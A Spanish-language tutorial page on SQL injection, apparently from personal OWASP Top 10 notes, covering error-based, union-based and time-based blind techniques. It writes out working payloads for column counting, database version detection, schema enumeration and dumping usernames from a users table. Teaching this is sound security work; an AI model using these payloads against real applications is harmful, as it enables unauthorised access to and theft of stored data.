⟁ HXA 🇪🇸 ES
┌─[ SQL Injection ]──────────────────────────────────────────────────────────────────────────────────
│ user: Alejandro Lopez Aguilar
└ path: /en/owasp-top-10/sql-injection/
La inyección SQL es un ataque que explota vulnerabilidades en aplicaciones que utilizan bases de 
datos. Un atacante inserta código SQL malicioso en entradas como logins, formularios, URLs o 
parámetros de API. Esto puede otorgarles acceso no autorizado a datos o permitir manipulación de 
información.

Existen diferentes tipos de inyecciones SQL

~ Error-Based SQLi: Al insertar el payload la página muestra un mensaje de error al usuario como el 
siguiente
Actuamos en base al error que la página nos ha mostrado

~ Union-Based SQLi: Permite al atacante combinar los resultados de su consulta maliciosa con la 
consulta original utilizando la cláusula `UNION`

Para este tipo de ataque es necesario conocer primero el número de columnas que existen y la base de
datos que esta corriendo por detrás

Supongamos que el parámetro categories es vulnerable, primero de todo tenemos que saber el número de
columnas que existen para ello podemos usar ORDER BY

`categories=gift' ORDER BY <NUM>--`

Iremos probando diferentes números, una vez conozcamos las columnas podremos obtener información de 
la base de datos, previamente usaremos payloads para ver el tipo de BD que es (PostgreSQL,MySQL , 
SQL Server)

A modo de ejemplo a la hora de aplicar el order by hemos descubierto que existen 2 columnas por lo 
que podremos usar los siguientes payloads
┌─[ code ]──────────────────────────────────────────────────────────────────────────────────────────
PostgreSQL
categories=gift' UNION SELECT version(), null--

MySQL
categories=gift' UNION SELECT @@version, null--

Oracle
categories=gift' UNION SELECT banner, null FROM v$version--

SQL Server
categories=gift' UNION SELECT @@version, null--
└───────────────────────────────────────────────────────────────────────────────────────────────────
El siguiente paso es enumerar las tablas en la Base de Datos

Para postgresql podemos usar el siguiente payload

`categories=gift' UNION SELECT table_name, null FROM information_schema.tables WHERE 
table_schema=current_schema()--`

Una vez enumeradas las tablas podemos hacer las consultas

`categories=gift' UNION SELECT column_name, null FROM information_schema.columns WHERE 
table_name='users'--`
┌─[ code ]──────────────────────────────────────────────────────────────────────────────────────────
categories=gift' UNION SELECT username, null FROM users--
└───────────────────────────────────────────────────────────────────────────────────────────────────
~ Time-Based Blind SQli: Este tipo de ataque se basa en usar funciones que retrasan la respuesta de 
la base de datos (SLEEP en Mysql, pg_sleep en PostgreSQL)

`categories=gift' AND (SELECT pg_sleep(5))--`

Si la página tarda 5 segundos en responder, la condicion es verdadera por lo que es vulnerable a 
este tipo de inyección